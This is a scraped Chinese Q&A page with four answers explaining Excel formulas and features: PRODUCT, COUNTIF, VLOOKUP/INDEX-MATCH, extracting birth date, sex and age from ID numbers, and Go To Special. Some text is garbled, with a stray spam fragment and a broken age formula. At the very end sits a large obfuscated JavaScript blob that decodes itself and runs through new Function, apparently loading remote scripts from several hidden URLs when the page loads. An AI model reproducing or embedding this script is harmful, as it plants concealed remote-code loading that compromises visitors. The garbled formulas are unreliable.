excel表格计算公式

2024-11-10 13:33:22
推荐回答(4个)
回答1:

  1. 通过excel可以完成很多工作,比如一组数据,可以得出这组数据的总和、平均值、乘积等等。就来说一下计算一组数据的乘积的方法。首先打开excel,由于我是在这里做演示,所以随便输入了两组数据。如图。现在我们要计算这两组数据的乘积。

  2. 首先要计算一下下图中所选定的数据,首先计算出第一组数据的乘积。选定这一组数据然后点击上方的函数按钮。如图所示。

  3. 在弹出的菜单中并没有需要用到的乘积的公式,就点击一下其他函数这个选项。

  4. 在插入函数的页面中,并不能直接找到需要用到的product函数。就在搜索函数空白框中,输入乘积两个字,然后点击转到按钮。

  5. 此时,在选择函数的列表中,就出现了一个乘积的函数,在列表的最下面有一个说明,即计算所有参数的乘积。选择之后点击确定按钮退出插入函数的页面。

  6. 此时开始计算第一组数据的乘积了。直接用鼠标选定刚才选定的那组数据,选定之后这组数据会被虚线包围,然后在函数参数框中会有显示这组数据,同时在最下面会有一个计算结果,如图。

  7. 上面计算完了第一组数据的乘积,现在要计算第二组数据的乘积,点击一下函数参数页的number2右边的按钮,如图,点击此按钮即开始选定另外一组数据。

  8. 如图所示,在选择的时候右边的函数参数设置页会变小,同样选定这组数据,同时在函数参数设置页中也出现了这个数组,现在这两组数据的乘积都计算出来了,点击确定就可以计算出这两组数据乘积的乘积了。如图。

  9. 点击确定之后,在单元格中就出现了两组数据乘积的乘积,由于演示的数据过大,所以乘积就无法完全显示了。当然如果是平常用到的数据,就可以完整显示出乘积。 

回答2:

1、两列数据查找相同值对应的位置
  =MATCH(B1,A:A,0)
  2、已知公式得结果
  定义名称=EVALUATE(Sheet1!C1)
  已知结果得公式
  定义名称=GET.CELL(6,Sheet1!C1)
  3、强制换行
  用Alt+Enter
  4、超过15位数字输入
  这个问题问的人太多了,也收起来吧。一、单元格设置为文本;二、在输入数字前先输入'
  5、如果隐藏了B列,如果让它显示出来?
  选中A到C列,点击右键,取消隐藏
  选中A到C列,双击选中任一列宽线或改变任一列宽
  将鼠标移到到AC列之间,等鼠标变为双竖线时拖动之。
  6、EXCEL中行列互换
  复制,选择性粘贴,选中转置,确定即可
  7、Excel是怎么加密的
  (1)、保存时可以的另存为>>右上角的"工具">>常规>>设置
  (2)、工具>>选项>>安全性
  8、关于COUNTIF
  COUNTIF函数只能有一个条件,如大于90,为=COUNTIF(A1:A10,">=90")
  介于80与90之间需用减,为 =COUNTIF(A1:A10,">80")-COUNTIF(A1:A10,">90")
  9、根据身份证号提取出生日期
  (1)、=IF(LEN(A1)=18,DATE(MID(A1,7,4),MID(A1,11,2),MID(A1,13,2)),IF (LEN(A1)=15,DATE(MID(A1,7,2),MID(A1,9,2),MID(A1,11,2)),"错误身份证号"))
  (2)、=TEXT(MID(A2,7,6+(LEN(A2)=18)*2),"#-00-00")*1
  10、想在SHEET2中完全引用SHEET1输入的数据
  工作组,按住Shift或Ctrl键,同时选定Sheet1、Sheet2
  11、一列中不输入重复数字
  [数据]--[有效性]--[自定义]--[公式]
  输入=COUNTIF(A:A,A1)=1
  如果要查找重复输入的数字
  条件格式》公式》=COUNTIF(A:A,A5)>1》格式选红色
  12、直接打开一个电子表格文件的时候打不开
  “文件夹选项”-“文件类型”中找到.XLS文件,并在“高级”中确认是否有参数1%,如果没有,请手工加上
  13、excel下拉菜单的实现
  [数据]-[有效性]-[序列]
  14、 10列数据合计成一列
  =SUM(OFFSET($A$1,(ROW()-2)*10+1,,10,1))
  15、查找数据公式两个(基本查找函数为VLOOKUP,MATCH)
  (1)、根据符合行列两个条件查找对应结果
  =VLOOKUP(H1,A1:E7,MATCH(I1,A1:E1,0),FALSE)
  (2)、根据符合两列数据查找对应结果(为数组公式)
  =INDEX(C1:C7,MATCH(H1&I1,A1:A7&B1:B7,0))
Excel电子表格计算公式使用方法25条公式技巧总结(2)时间:2010-04-14 11:39来源:网络 作者:不详 点击:4794次
16、如何隐藏单元格中的0 单元格格式自定义0;-0;;@ 或 选项》视图》零值去勾。呵呵,如果用公式就要看情况了。 17、多个工作表的单元格合并计算 =Sheet1!D4+Sheet2!D4+Sheet3!D4,更好的=SUM(Sheet1:Sheet3!D4) 18
  16、如何隐藏单元格中的0
  单元格格式自定义0;-0;;@ 或 选项》视图》零值去勾。呵呵,如果用公式就要看情况了。
  17、多个工作表的单元格合并计算
  =Sheet1!D4+Sheet2!D4+Sheet3!D4,更好的=SUM(Sheet1:Sheet3!D4)
  18、获得工作表名称
  (1)、定义名称:Name
  =GET.DOCUMENT(88)
  (2)、定义名称:Path
  =GET.DOCUMENT(2)
  (3)、在A1中输入=CELL("filename")得到路径级文件名
  在需要得到文件名的单元格输入
  =MID(A1,FIND("*",SUBSTITUTE(A1,"","*",LEN(A1)-LEN(SUBSTITUTE(A1,"",""))))+1,LEN(A1))
  (4)、自定义函数
  Public Function name()
  Dim filename As String
  filename = ActiveWorkbook.name
  name = filename
  End Function
  19、如何获取一个月的最大天数
  :"=DAY(DATE(2002,3,1)-1)"或"=DAY(B1-1)",B1为"2001-03-01
  数据区包含某一字符的项的总和,该用什么公式
  =sumif(a:a,"*"&"某一字符"&"*",数据区)
  最后一行为文本:
  =offset($b$1,MATCH(CHAR(65535),b:b)-1,)
  最后一行为数字:
  =offset($b$1,MATCH(9.9999E+307,b:b)-1,)
  或者:=lookup(2,1/(b1:b1000<>""),b1:b1000)
  评委打分中,如何去掉两个以上最高分,两个以上最底分,求剩余人员的平均分?同时显示出被去掉的分数。
  看看trimmean()函数帮助。
  被去掉的分数:
  最大两个:=large(data,{1;2})
  最小两个:=small(data,{1;2})
  怎样很简单的判断最后一位是字母
  right(a1)*1
  出错的字母
  =IF(ISNUMBER(--RIGHT(A1,1)),"数字","字母")
  =IF(ISERR(RIGHT(A1)*1),"字母","数字")
  如何 设置单元格,令其不接受包含空格的字符
  选定A列
  数据——有效性——自定义——公式
  =iserror(find(" ",a1))
  数据--有效性--自定义--公式
  =len(a1)=len(trim(a1))
  原来的函数是=a1+a4+a7+a10+a13+a16+a19+a22.....
  现在是=sum(n(offset(a1,(row(1:10)-1)*3,)))
  在一个工作表中引用其他工作表中的数据,但是被引用的工作表不是固定的,根据我输入的工作表名自动选择相应的工作表中的数据,请问在公式里怎样引用?
  =INDIRECT("A1"&"!"&"E1") A1为工作表名
  奇数行求和 =SUMPRODUCT((A1:A1000)*MOD(ROW(A1:A1000),2))
  偶数行求和 =SUMPRODUCT((A1:A1000)*NOT(MOD(ROW(A1:A1000),2)))
  查看字符串字数
  =LEN(A1)
  求非空单元格数量
  公式计算出来的数据,COUNTA不能用的(否则空字符也计算进去了)
  =COUNTIF($E$3:$E$65536,"?*")
  动态求和公式,自A列A1单元格到当前行前面一行的单元格求和.
  =SUM(INDIRECT("A1:A"&ROW()-1))
  20、比较好用的EXCEL文档修复工具
  ExcelRecovery
  21、EXCEL开方运算
  将8开3次方,可以用这个公式,在单元格中输入  =8^(1/3)
  22、单元格中的数据分散对齐
  文本格式》全角输入
  23、查找工作表中的链接
  Ctrl+~ 或编辑》链接
  24、如何让空单元格自动填为0
  选中需更改的区域》查找》空》替换》0
  25、把Word里的数字转换到Excel
  方法有多种,选中》复制》设置输入单元格为文本》选择性粘贴》值
  选中》表格转换为文本》粘贴》分列》对分列选项设置为文本
  另存为文本文件》EXCEL中打开文本文件》对导入文本对话框进行对应设置

回答3:

一、年龄计算公式:
  =IF((YEAR(E2)=2008)*(MONTH(E2)>8),0,2008-YEAR(E2) IF(MONTH(E2)<=8,0,-1))
  其中e2为单元格,2008为当前年份
  二、身份证号中提取出生年月= MID(J11, 7, 4) & "年" & MID(J11, 11, 2) & "月" & MID(J11, 13, 2)&"日"
  三、班级平均分公式=IF(COUNTIF($C$2:$C$24,J26)=0,"",SUMIF($C$2:$C$24,J26,$D$2)/COUNTIF($C$2:$C$24,J26))
  四、Excel表中身份证号码提取出生年月、性别、年龄的使用技巧
  如何从Excel表中的身份证号码中提取出生年月、性别、年龄呢?看了本文就知道了。
  方法一:
  1.Excel表中用身份证号码中取其中的号码用:MID(文本,开始字符,所取字符数);
  2.15位身份证号从第7位到第12位是出生年月日,年份用的是2位数。
  18位身份证号从第7位到第14位是出生的年月日,年份用的是4位数。
  从身份证号码中提取出表示出生年、月、日的数字,用文本函数MID()可以达到目的。MID()——从指定位置开始提取指定个数的字符(从左向右)。
  对一个身份证号码是15位或是18位进行判断,用逻辑判断函数IF()和字符个数计算函数LEN()辅助使用可以完成。综合上述分析,可以通过下述操作,完成形如1978-12-24样式的出生年月日自动提取:
  假如身份证号数据在A1单元格,在B1单元格中编辑公式
  =IF(LEN(A1)=15,MID(A1,7,2)&"-"&MID(A1,9,2)&"-"&MID(A1,11,2),MID(A1,7,4)&"-"&MID(A1,11,2)&"-"&MID(A1,13,2))
  回车确认即可。
  如果只要“年-月”格式,公式可以修改为
  =IF(LEN(A1)=15,MID(A1,7,2)&"-"&MID(A1,9,2),MID(A1,7,4)&"-"&MID(A1,11,2))
  3.这是根据身份证号码(15位和18位通用)自动提取性别的自编公式,供需要的朋友参考:
  说明:公式中的B2是身份证号
  根据身份证号码求性别:
  =IF(LEN(B2)=15,IF(MOD(VALUE(RIGHT(B2,3)),2)=0,"女","男"),IF(LEN(B2)=18,IF(MOD(VALUE(MID(B2,15,1)),2)=0,"女","男"),"身份证错"))
  根据身份证号码求年龄:
  =IF(LEN(B2)=15,2007-VALUE(MID(B2,7,2)),if(LEN(B2)=18,2007-VALUE(MID(B2,7,4)),"身份证错"))
  4.Excel表中用Year\Month\Day函数取相应的年月日数据;
  方法二:
  这是根据身份证号码(15位和18位通用)自动提取性别和出生年月的自编公式,供需要的网友参考:
  说明:公式中的B2是身份证号
  1、根据身份证号码求性别:
  =IF(LEN(B2)=15,IF(MOD(VALUE(RIGHT(B2,3)),2)=0,"女","男"),IF(LEN(B2)=18,IF(MOD(VALUE(MID(B2,15,3)),2)=0,"女","男"),"身份证错"))
  2、根据身份证号码求出生年月:
  =IF(LEN(B2)=15,CONCATENATE("19",MID(B2,7,2),".",MID(B2,9,2)),IF(LEN(B2)=18,CONCATENATE(MID(B2,7,4),".",MID(B2,11,2)),"身份证错"))
  3、根据身份证号码求年龄:
  =IF(LEN(B2)=15,year(now())-1900-VALUE(MID(B2,7,2)),if(LEN(B2)=18,year(now())-VALUE(MID(B2,7,4)),"身份证错"))
在Excel电子表格中,我们需要到达某一单元格,一般是使用鼠标拖动滚动条来进行,但如果数据范围超出一屏幕显示范围或数据行数非常多时,想快速定位到某一单元格可要有点麻烦了。这时候我们可以使用“定位”(快捷键Ctrl G)功能迅速到达想要的单元格。
  定位是一种选定单元格的方式,主要用来选定“位置相对无规则但条件有规则的单元格或区域”。
  例1:需要选中Y2009单元格(或快速移动到Y2009单元格),我们可以使用“编辑/定位”菜单,在引用位置里输入“Y2009”后按回车即可。
  例2:需要选中Y列的2004~2009行的单元格,我们按照相同的方法,在引用位置里输入“Y2004:Y2009”按回车即可。
  例3:需要选中2009行的单元格,我们可以在引用位置里输入“2009:2009”按回车即可。
  例4:需要选中2004~2009行的单元格,我们可以在引用位置里输入“2004:2009”按回车即可。
  这是“定位”功能中最简单的“引用位置”。
  下面来看看“定位”的几个应用(“定位条件”):
  应用一:定位“公式”
  在实际工作中,我们会设许多公式,为防止一不小心修改了这些公式,我们会把公式单元格字体设置为其他颜色,一个个去设置当然不符合高效办公的原则。定位就算帮上大忙了。操作步骤如下:
  1、 编辑/定位/定位条件;
  2、 选择“公式”/确定,所有的公式单元格被选中;
  3、 格式/单元格/字体/颜色“红色”/确定;
  应用二:定位“空值”,定位“常量”
  在实际工作中,我们会为一个表格每隔一个固定的行数(本例中以一行为例)后面插入一行,一行一行的插入当然也不符合高效办公的原则。二次定位就能解决此问题,操作步骤如下:
  1、 在表格第一列前面插入一列做为过渡列,在A1处输入“1”,A2位置为空,选中“A!:A2”,当鼠标移到右下角变为“ ”形状时,向下拉,拉的比数据行多;
  2、 选中第一列,“定位”/“定位条件”/“空值”/“确定”,此时你会发现第一列的偶数单元格全部被选中;
  3、 “插入”/“行”
  4、 选中第一列,“定位”/“定位条件”/“常量”/“确定”,此时你会发现第一列的有数值的单元格全部被选中;
  5、 “插入”/“行”
  这时你会发现除了过渡列的数据外,其他数据行每行下面都多出了一个空白行,这时我们只需删除这个过渡列,预想的目的就达到了。
  应用三:定位“最后一个单元格”
  大的表格中,使用此功能,实现快速移动光标到“最后一个单元格”
  应用四:定位“可见单元格”
  在分类汇总下,选定我们需要的单元格后,选择“复制”按钮,到指定位置后,选择“粘贴”按钮,粘贴的结果不是显示的结果,而依然是原始数据,这是因为我们在选定的时候,不(| w)Z a.m [精英博客0\ _)` W I ^ E R U q仅选定了显示的单元格,而且隐藏的单元格也被选中了,我们使用“定位”功能就能很好的解决这个问题。
  1、“定位”/“定位条件”/“可见单元格”;
  2、“编辑”/“复制”;
  3、到指定位置后,“编辑”/“粘贴”;
  4、选中粘贴后的数据,然后“数据”/“分类汇总”/“全部删除”,我们要的可见单元格即被成功的复制出来了。
  通过这几个例子,我们不难明白“定位”是选中单元格的一种方法,只不过它选中的这些单元格区域不集中,用传统的鼠标选择效率低难度大,这些单元格虽然分散但本身具有共性或分散的有规律,这些共性或规律就是定位条件窗口下的选择条件。
  lzsy
  下面来看一个关于定位空值的小flash教程:
  lzsy
  然后看一个定位空值的具体活用(设计工资条):
 lzsy
  再看一个活用定位“公式”,禁止编辑已设定的公式的方法:
  当EXCEL中含有大量公式时,不仅但心自己或他人修改了这些公式,而且不想让他人看见这些公式,而其他无公式单元格允许随意编辑。
  1、 选中表格,当然也可以选中整张工作表;
  2、 选择“格式”菜单的“单元格”功能的“保护”选项,然后取消“锁定”;
  3、 再打开“编辑”菜单的“定位”功能(或者直接按Ctrl G);
  4、 在弹出的对话框中选择“定位条件”;
  5、 选择“公式”,然后点击“确定”;
  6、 此时,将看到所有带有公式的单元格都被选中了;
  7、 再次打开“格式”菜单的“单元格”功能的“保护”选项,然后将“锁定”和“隐藏”全都选中;
  8、 由于只有在工作表被保护的状态下,保护单元格和隐藏公式才能生效,因此,我们还需要将这张工作表给保护起来,选择“工具”菜单的“保护”中的“保护工作表”,设置保护密码。
  当工作表被保护后,如果在已经设定为锁定状态的单元格点击的话,就会出现工作表被保护的提示,在编辑栏也看不到公式了。但是如果点击的是未锁定的单元格,看看是不是仍然可以修改?!
  好了,大功告成,是不是觉得应用定位功能之后,工作变得很简单了呢?
  经过以上处理,就可以保护工作表中的公式了,其他人员只能浏览数据,对有公式的单元格不能修改,也不能查看公式。

回答4:

http://soft.cfan.com.cn/special/excel/
看这里,好多的~

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();